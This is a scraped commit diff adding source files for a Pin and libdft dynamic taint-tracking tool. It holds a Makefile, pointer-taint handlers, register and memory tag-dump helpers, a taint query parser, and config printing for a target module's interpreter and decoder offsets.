# This defines the static analysis tools which will be run during the the tests. They should not
|
||||
# be defined in TEST_TOOL_ROOTS. If a test with the same name exists, it should be defined in
|
||||
# TEST_ROOTS.
|
||||
# Note: Static analysis tools are in fact executables linked with the Pin Static Analysis Library.
|
||||
# This library provides a subset of the Pin APIs which allows the tool to perform static analysis
|
||||
# of an application or dll. Pin itself is not used when this tool runs.
|
||||
SA_TOOL_ROOTS :=
|
||||
|
||||
# This defines all the applications that will be run during the tests.
|
||||
APP_ROOTS := # mini_test
|
||||
|
||||
# This defines any additional object files that need to be compiled.
|
||||
OBJECT_ROOTS :=
|
||||
|
||||
# This defines any additional dlls (shared objects), other than the pintools, that need to be compiled.
|
||||
DLL_ROOTS :=
|
||||
|
||||
# This defines any static libraries (archives), that need to be built.
|
||||
LIB_ROOTS :=
|
||||
|
||||
###### Place architecture-specific definitions here ######
|
||||
|
||||
# Place ia32-specific definitions here if they apply to all supported operating systems.
|
||||
ifeq ($(TARGET),ia32)
|
||||
TOOL_CXXFLAGS += -m32
|
||||
# LIBDFT_INC_PATH = $(realpath ../../src32/)
|
||||
# LIBDFT_PATH = $(realpath ../../src32/obj-ia32/)
|
||||
LIBDFT_INC_PATH = /libdft/src32/
|
||||
LIBDFT_PATH = /libdft/src32/obj-ia32/
|
||||
endif
|
||||
|
||||
# Place intel64-specific definitions here if they apply to all supported operating systems.
|
||||
ifeq ($(TARGET),intel64)
|
||||
TOOL_CXXFLAGS +=
|
||||
ifeq ($(CXX),cl)
|
||||
LIBDFT_INC_PATH = $(shell cygpath -w -m $(shell realpath ../lib/libdft64/src))
|
||||
LIBDFT_PATH = $(shell cygpath -w -m $(shell realpath ../lib/libdft64/src/obj-intel64))
|
||||
else
|
||||
LIBDFT_INC_PATH = $(realpath ../lib/libdft64/src/)
|
||||
LIBDFT_PATH = $(realpath ../lib/libdft64/src/obj-intel64/)
|
||||
endif
|
||||
endif
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# Test recipes
|
||||
#
|
||||
##############################################################
|
||||
|
||||
###### Finalize sanity here ######
|
||||
|
||||
# This section contains recipes for tests other than the default.
|
||||
# See makefile.default.rules for the default test rules.
|
||||
# All tests in this section should adhere to the naming convention: <testname>.test
|
||||
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# Build rules
|
||||
#
|
||||
##############################################################
|
||||
|
||||
# This section contains the build rules for all binaries that have special build rules.
|
||||
# See makefile.default.rules for the default build rules.
|
||||
|
||||
###### Special tools' build rules ######
|
||||
|
||||
LOGGING_FLAGS = -DNO_PINTOOL_LOG
|
||||
ifeq ($(CXX),cl)
|
||||
TOOL_CXXFLAGS += $(LOGGING_FLAGS) /I$(LIBDFT_INC_PATH)
|
||||
else
|
||||
TOOL_CXXFLAGS += $(LOGGING_FLAGS) -I$(LIBDFT_INC_PATH) -L$(LIBDFT_PATH)
|
||||
endif
|
||||
ifeq ($(LINKER),link)
|
||||
TOOL_LIBS += /LIBPATH:$(LIBDFT_PATH) libdft.lib
|
||||
else
|
||||
TOOL_LIBS += -L$(LIBDFT_PATH) -ldft
|
||||
endif
|
||||
|
||||
# INPUT_FILE=cur_input
|
||||
# test_mini: $(OBJDIR)/track$(PINTOOL_SUFFIX) ${OBJDIR}/mini_test$(EXE_SUFFIX)
|
||||
# $(PIN) -t $< -- $(OBJDIR)mini_test$(EXE_SUFFIX) ${INPUT_FILE}
|
||||
|
||||
# Build the intermediate object file.
|
||||
|
||||
$(OBJDIR)config$(OBJ_SUFFIX): config.cpp config.h
|
||||
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
|
||||
|
||||
$(OBJDIR)handler$(OBJ_SUFFIX): handler.cpp handler.h
|
||||
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
|
||||
|
||||
$(OBJDIR)log$(OBJ_SUFFIX): log.cpp log.h
|
||||
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
|
||||
|
||||
$(OBJDIR)print$(OBJ_SUFFIX): print.cpp print.h
|
||||
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
|
||||
|
||||
$(OBJDIR)ptr_taint$(OBJ_SUFFIX): ptr_taint.cpp ptr_taint.h
|
||||
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
|
||||
|
||||
$(OBJDIR)util$(OBJ_SUFFIX): util.cpp util.h
|
||||
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
|
||||
|
||||
# $(OBJDIR)SymTableDetector$(OBJ_SUFFIX): SymTableDetector.cpp
|
||||
$(OBJDIR)Tracer$(OBJ_SUFFIX): Tracer.cpp Tracer.h
|
||||
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
|
||||
|
||||
# Build the tool as a dll (shared object).
|
||||
$(OBJDIR)Tracer$(PINTOOL_SUFFIX): $(OBJDIR)Tracer$(OBJ_SUFFIX) $(OBJDIR)config$(OBJ_SUFFIX) $(OBJDIR)handler$(OBJ_SUFFIX) $(OBJDIR)log$(OBJ_SUFFIX) $(OBJDIR)print$(OBJ_SUFFIX) $(OBJDIR)ptr_taint$(OBJ_SUFFIX) $(OBJDIR)util$(OBJ_SUFFIX)
|
||||
$(LINKER) $(TOOL_LDFLAGS_NOOPT) $(LINK_EXE)$@ $(^:%.h=) $(TOOL_LPATHS) $(TOOL_LIBS)
|
||||
@@ -0,0 +1,11 @@
|
||||
#include "print.h"
|
||||
|
||||
void print_config_string(std::string config_string) {
|
||||
std::cout << "[+] Config string: " << std::endl << config_string << std::endl;
|
||||
}
|
||||
|
||||
void print_config(Config config) {
|
||||
std::cout << "[+] Target module name: " << config.target_module_name << std::endl;
|
||||
std::cout << "[+] Interp function offset: " << (void *)config.interp_func_offset << std::endl;
|
||||
std::cout << "[+] Decoder offset: " << (void *)config.decoder_offset << std::endl;
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#ifndef _TRACER_BJJ_PRINT_H_
|
||||
#define _TRACER_BJJ_PRINT_H_
|
||||
|
||||
#include "config.h"
|
||||
#include "common.h"
|
||||
|
||||
void print_config_string(std::string config_string);
|
||||
void print_config(Config config);
|
||||
|
||||
#endif // _TRACER_BJJ_PRINT_H_
|
||||
@@ -0,0 +1,54 @@
|
||||
#include "ptr_taint.h"
|
||||
|
||||
|
||||
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_before(THREADID tid,
|
||||
ADDRINT src,
|
||||
uint32_t src_base) {
|
||||
tag_t src_tag, dst_tag;
|
||||
tag_t deref_ptr_tag, deref_dst_tag;
|
||||
|
||||
deref_ptr_tag = tag_alloc<tag_t>(10000);
|
||||
deref_dst_tag = tag_alloc<tag_t>(20000);
|
||||
|
||||
for (size_t i = 0; i < 8; i++) {
|
||||
src_tag = RTAG[src_base][i];
|
||||
RTAG[src_base][i] = tag_combine(src_tag, deref_ptr_tag);
|
||||
dst_tag = MTAG(src + i);
|
||||
tagmap_setb(src + i, tag_combine(dst_tag, deref_dst_tag));
|
||||
}
|
||||
}
|
||||
|
||||
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_after(THREADID tid,
|
||||
ADDRINT src,
|
||||
uint32_t src_base) {
|
||||
tag_t src_tag, dst_tag;
|
||||
tag_t deref_ptr_tag, deref_dst_tag;
|
||||
|
||||
deref_ptr_tag = tag_alloc<tag_t>(10000);
|
||||
deref_dst_tag = tag_alloc<tag_t>(20000);
|
||||
|
||||
for (size_t i = 0; i < 8; i++) {
|
||||
src_tag = RTAG[src_base][i];
|
||||
RTAG[src_base][i] = tag_combine(src_tag, deref_ptr_tag);
|
||||
dst_tag = MTAG(src + i);
|
||||
tagmap_setb(src + i, tag_combine(dst_tag, deref_dst_tag));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void PIN_FAST_ANALYSIS_CALL hdlr_r2m_xfer_deref_before(THREADID tid,
|
||||
ADDRINT dst,
|
||||
uint32_t dst_base) {
|
||||
tag_t src_tag, dst_tag;
|
||||
tag_t deref_ptr_tag, deref_dst_tag;
|
||||
|
||||
deref_ptr_tag = tag_alloc<tag_t>(10000);
|
||||
deref_dst_tag = tag_alloc<tag_t>(20000);
|
||||
|
||||
for (size_t i = 0; i < 8; i++) {
|
||||
src_tag = RTAG[dst_base][i];
|
||||
RTAG[dst_base][i] = tag_combine(src_tag, deref_ptr_tag);
|
||||
dst_tag = MTAG(dst + i);
|
||||
tagmap_setb(dst + i, tag_combine(dst_tag, deref_dst_tag));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
#ifndef _TRACER_BJJ_PTR_TAINT_H_
|
||||
#define _TRACER_BJJ_PTR_TAINT_H_
|
||||
|
||||
#include "common.h"
|
||||
#include "rtag_helper.h"
|
||||
#include "tagmap_helper.h"
|
||||
|
||||
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_before(THREADID tid, ADDRINT src, uint32_t src_base);
|
||||
void PIN_FAST_ANALYSIS_CALL hdlr_m2r_xfer_deref_after(THREADID tid, ADDRINT src, uint32_t src_base);
|
||||
void PIN_FAST_ANALYSIS_CALL hdlr_r2m_xfer_deref_before(THREADID tid, ADDRINT dst, uint32_t dst_base);
|
||||
|
||||
#endif // _TRACER_BJJ_PTR_TAINT_H_
|
||||
@@ -0,0 +1,48 @@
|
||||
#ifndef _SYMTABLEDETECTOR_SRC_RTAG_HELPER_H_
|
||||
#define _SYMTABLEDETECTOR_SRC_RTAG_HELPER_H_
|
||||
|
||||
#include "pin.H"
|
||||
#include "ins_helper.h"
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
|
||||
extern thread_ctx_t *threads_ctx;
|
||||
|
||||
// REG general_regs[] = { REG_RDI, REG_EDI, REG_DI, REG_DIL, REG_RSI, REG_ESI, REG_SI, REG_SIL, REG_RBP, REG_EBP, REG_BP, REG_BPL, REG_RSP, REG_ESP, REG_SP, REG_SPL, REG_RAX, REG_EAX, REG_AX, REG_AH, REG_AL, REG_RBX, REG_EBX, REG_BX, REG_BH, REG_BL, REG_RCX, REG_ECX, REG_CX, REG_CH, REG_CL, REG_RDX, REG_EDX, REG_DX, REG_DH, REG_DL, REG_R8, REG_R8D, REG_R8W, REG_R8B, REG_R9, REG_R9D, REG_R9W, REG_R9B, REG_R10, REG_R10D, REG_R10W, REG_R10B, REG_R11, REG_R11D, REG_R11W, REG_R11B, REG_R12, REG_R12D, REG_R12W, REG_R12B, REG_R13, REG_R13D, REG_R13W, REG_R13B, REG_R14, REG_R14D, REG_R14W, REG_R14B, REG_R15, REG_R15D, REG_R15W, REG_R15B };
|
||||
static const REG gr64[] = { REG_RDI, REG_RSI, REG_RBP, REG_RSP, REG_RAX, REG_RBX, REG_RCX, REG_RDX, REG_R8, REG_R9, REG_R10, REG_R11, REG_R12, REG_R13, REG_R14, REG_R15 };
|
||||
|
||||
inline void _print_rtag_gr64(std::ostream *out, THREADID tid, REG reg, std::string header) {
|
||||
tag_t tag;
|
||||
|
||||
for (size_t pos = 0; pos < 8; pos++) {
|
||||
tag = RTAG[REG_INDX(reg)][pos];
|
||||
if (tag)
|
||||
*out << header << "tid: " << tid << " , RTAG[" << REG_StringShort(reg) << "][" << std::dec << 8 * pos << "-" << 8 * (pos + 1) - 1 << "]: " << tag_sprint(tag) << std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
inline void print_rtag_gr64(std::ostream *out, THREADID tid, REG reg) {
|
||||
_print_rtag_gr64(out, tid, reg, "");
|
||||
}
|
||||
|
||||
inline void print_rtag_gr64(std::ostream *out, THREADID tid, REG reg, std::string header) {
|
||||
_print_rtag_gr64(out, tid, reg, header);
|
||||
}
|
||||
|
||||
inline void _rtag_explore(std::ostream *out, THREADID tid) {
|
||||
*out << "[explore] Dumping all tags in the general purpose registers" << std::endl;
|
||||
|
||||
for (size_t reg_idx = 0; reg_idx < sizeof(gr64)/sizeof(gr64[0]); reg_idx++) {
|
||||
print_rtag_gr64(out, tid, gr64[reg_idx], "[explore]:");
|
||||
}
|
||||
}
|
||||
|
||||
inline void rtag_explore(THREADID tid) {
|
||||
_rtag_explore(&std::cout, tid);
|
||||
}
|
||||
|
||||
inline void rtag_explore(std::ostream *out, THREADID tid) {
|
||||
_rtag_explore(out, tid);
|
||||
}
|
||||
|
||||
#endif // _SYMTABLEDETECTOR_SRC_RTAG_HELPER_H_
|
||||
@@ -0,0 +1,167 @@
|
||||
#ifndef _TC_TAGMAP_H_
|
||||
#define _TC_TAGMAP_H_
|
||||
|
||||
#include "debug.h"
|
||||
#include "libdft_api.h"
|
||||
#include "pin.H"
|
||||
#include "tagmap.h"
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
|
||||
#define DEBUG_INFO 1
|
||||
#define EXCLUDE_KERNEL 1
|
||||
#define KERNEL_BASE 0xffffffff00000000
|
||||
|
||||
#define FORMAT_QUERY_CHECKTAINT "[%[a-zA-Z0-9_]][query][check taint] addr: 0x%llx, size: %llu"
|
||||
#define FORMAT_QUERY_SETTAINT "[%[a-zA-Z0-9_]][query][set taint] addr: 0x%llx, size: %llu, lb: %d"
|
||||
#define FORMAT_QUERY_FORCETAINT "[%[a-zA-Z0-9_]][query][force taint] src addr: 0x%llx, dst addr: 0x%llx, src size: %llu, dst size: %llu\n"
|
||||
|
||||
extern tag_dir_t tag_dir;
|
||||
|
||||
inline void _print_mtag(std::ostream *out, tag_t tag, ADDRINT addr, std::string header) {
|
||||
uint8_t val;
|
||||
size_t nbytes;
|
||||
|
||||
if (EXCLUDE_KERNEL && addr >= KERNEL_BASE) return;
|
||||
|
||||
nbytes = PIN_SafeCopy(&val, (void *)addr, 1);
|
||||
|
||||
*out << "trace: memtaint, addr: "
|
||||
<< (void *)addr
|
||||
<< ", tag: "
|
||||
<< tag_sprint(tag);
|
||||
|
||||
if (nbytes != 0)
|
||||
*out << ", byte: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(2)
|
||||
<< (uint32_t)val
|
||||
<< ", char: "
|
||||
<< std::dec
|
||||
<< val
|
||||
<< std::endl;
|
||||
else
|
||||
*out << ", not mapped" << std::endl;
|
||||
}
|
||||
|
||||
inline void print_mtag(std::ostream *out, tag_t tag, ADDRINT addr) {
|
||||
_print_mtag(out, tag, addr, "");
|
||||
}
|
||||
|
||||
inline void print_mtag(std::ostream *out, tag_t tag, ADDRINT addr, std::string header) {
|
||||
_print_mtag(out, tag, addr, header);
|
||||
}
|
||||
|
||||
inline void _tagmap_explore(std::ostream *out) {
|
||||
tag_table_t *table;
|
||||
tag_page_t *page;
|
||||
tag_t tag;
|
||||
ADDRINT addr;
|
||||
|
||||
if (EXCLUDE_KERNEL)
|
||||
*out << "[explore] Dumping all tags in the tagmap except kernel memory regions" << std::endl;
|
||||
else
|
||||
*out << "[explore] Dumping all tags in the tagmap" << std::endl;
|
||||
|
||||
for (uint64_t i = 0; i < TOP_DIR_SZ; i++) {
|
||||
if (tag_dir.table[i]) {
|
||||
table = tag_dir.table[i];
|
||||
for (uint64_t j = 0; j < PAGETABLE_SZ; j++) {
|
||||
if ((*table).page[j]) {
|
||||
page = (*table).page[j];
|
||||
if (page != NULL) {
|
||||
for (uint64_t k = 0; k < PAGE_SIZE; k++) {
|
||||
tag = (*page).tag[k];
|
||||
if (tag) {
|
||||
addr = (i << PAGETABLE_BITS) + (j << PAGE_BITS) + k;
|
||||
print_mtag(out, tag, addr, "[explore]:");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
inline void tagmap_explore() {
|
||||
_tagmap_explore(&std::cout);
|
||||
}
|
||||
|
||||
inline void tagmap_explore(std::ostream *out) {
|
||||
_tagmap_explore(out);
|
||||
}
|
||||
|
||||
inline void tagmap_force_propagation(const char *fname, ADDRINT src, ADDRINT dst, size_t src_size, size_t dst_size) {
|
||||
if (src_size == dst_size) {
|
||||
// simply propagate tags byte-by-byte
|
||||
for (uint64_t i = 0; i < src_size; i++) {
|
||||
tag_t t = tagmap_getb(src + i);
|
||||
tagmap_setb(dst + i, t);
|
||||
LOGD( "[%s][force propagation]:tags[%p]: %s, dst: %p\n", fname, (void *)(src + i), tag_sprint(tagmap_getb(src+i)).c_str(), (void *)(dst + i));
|
||||
}
|
||||
} else {
|
||||
// combine all the tags of src
|
||||
tag_t t = tagmap_getn(src, src_size);
|
||||
// add the marged tags to dst
|
||||
for (uint64_t i = 0; i < dst_size; i++) {
|
||||
tagmap_setb(dst + i, t);
|
||||
LOGD( "[%s][force propagation]:tags[%p-%p]: %s, dst: %p\n", fname, (void *)(src), (void *)(src + src_size), tag_sprint(t).c_str(), (void *)(dst + i));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
inline void tagmap_set_taint(const char *fname, ADDRINT addr, size_t size, int color) {
|
||||
LOGD( "[%s][debug] val: %d\n", fname, *(int32_t *)addr);
|
||||
LOGD( "[%s][debug] size: %ld\n", fname, size);
|
||||
for (uint64_t i = 0; i < size; i++) {
|
||||
tag_t t = tag_alloc<tag_t>(color + (int)i);
|
||||
tagmap_setb(addr + i, t);
|
||||
LOGD( "[%s][set taint]:tags[%p]: %s\n", fname, (void *)(addr + i),
|
||||
tag_sprint(tagmap_getb(addr + i)).c_str());
|
||||
}
|
||||
}
|
||||
|
||||
inline void tagmap_check_taint(const char *fname, ADDRINT addr, size_t size) {
|
||||
LOGD( "[%s][debug] addr: %p\n", fname, (char *)addr);
|
||||
LOGD( "[%s][debug] val: %s\n", fname, (char *)addr);
|
||||
LOGD( "[%s][debug] size: %ld\n", fname, size);
|
||||
for (uint64_t i = 0; i < size; i++) {
|
||||
LOGD( "[%s][check taint]:tags[%p]: %s\n", fname, (void *)(addr + i),
|
||||
tag_sprint(tagmap_getb(addr + i)).c_str());
|
||||
}
|
||||
}
|
||||
|
||||
inline bool tagmap_detect_undertaint(const char *fname, ADDRINT addr, size_t size, double threshold) {
|
||||
tagmap_check_taint(fname, addr, size);
|
||||
|
||||
uint64_t taint_count = 0;
|
||||
for (uint64_t i = 0; i < size; i++)
|
||||
if (tagmap_getb(addr + i) > 0) taint_count++;
|
||||
|
||||
LOGD( "[%s][debug] size: %ld\n", fname, size);
|
||||
LOGD( "[%s][debug] taint_count: %ld\n", fname, taint_count);
|
||||
return ((double)taint_count / (double)size) < threshold;
|
||||
}
|
||||
|
||||
inline void tagmap_process_query(char *buf) {
|
||||
char fname[128];
|
||||
ADDRINT addr;
|
||||
ADDRINT src;
|
||||
ADDRINT dst;
|
||||
size_t size;
|
||||
size_t src_size;
|
||||
size_t dst_size;
|
||||
int color;
|
||||
|
||||
if (sscanf((const char *)buf, FORMAT_QUERY_SETTAINT, fname, &addr, &size, &color) == 4) {
|
||||
tagmap_set_taint(fname, addr, size, color);
|
||||
} else if (sscanf((const char *)buf, FORMAT_QUERY_CHECKTAINT, fname, &addr, &size) == 3) {
|
||||
tagmap_check_taint(fname, addr, size);
|
||||
} else if (sscanf((const char *)buf, FORMAT_QUERY_FORCETAINT, fname, &src, &dst, &src_size, &dst_size) == 5) {
|
||||
tagmap_force_propagation(fname, src, dst, src_size, dst_size);
|
||||
} else {
|
||||
LOGD( "%s\n", buf);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // _TC_TAGMAP_H_
|
||||
@@ -0,0 +1,14 @@
|
||||
#include "util.h"
|
||||
|
||||
|
||||
std::string read_file(std::string file_name) {
|
||||
std::ifstream f(file_name.c_str());
|
||||
if (f.bad()) {
|
||||
return "";
|
||||
}
|
||||
|
||||
std::ostringstream sstr;
|
||||
sstr << f.rdbuf();
|
||||
|
||||
return sstr.str();
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
#ifndef _TRACER_BJJ_UTIL_H_
|
||||
#define _TRACER_BJJ_UTIL_H_
|
||||
|
||||
#include "common.h"
|
||||
|
||||
std::string read_file(std::string file_name);
|
||||
|
||||
#endif // _TRACER_BJJ_UTIL_H_
|
||||
Reference in New Issue
Block a user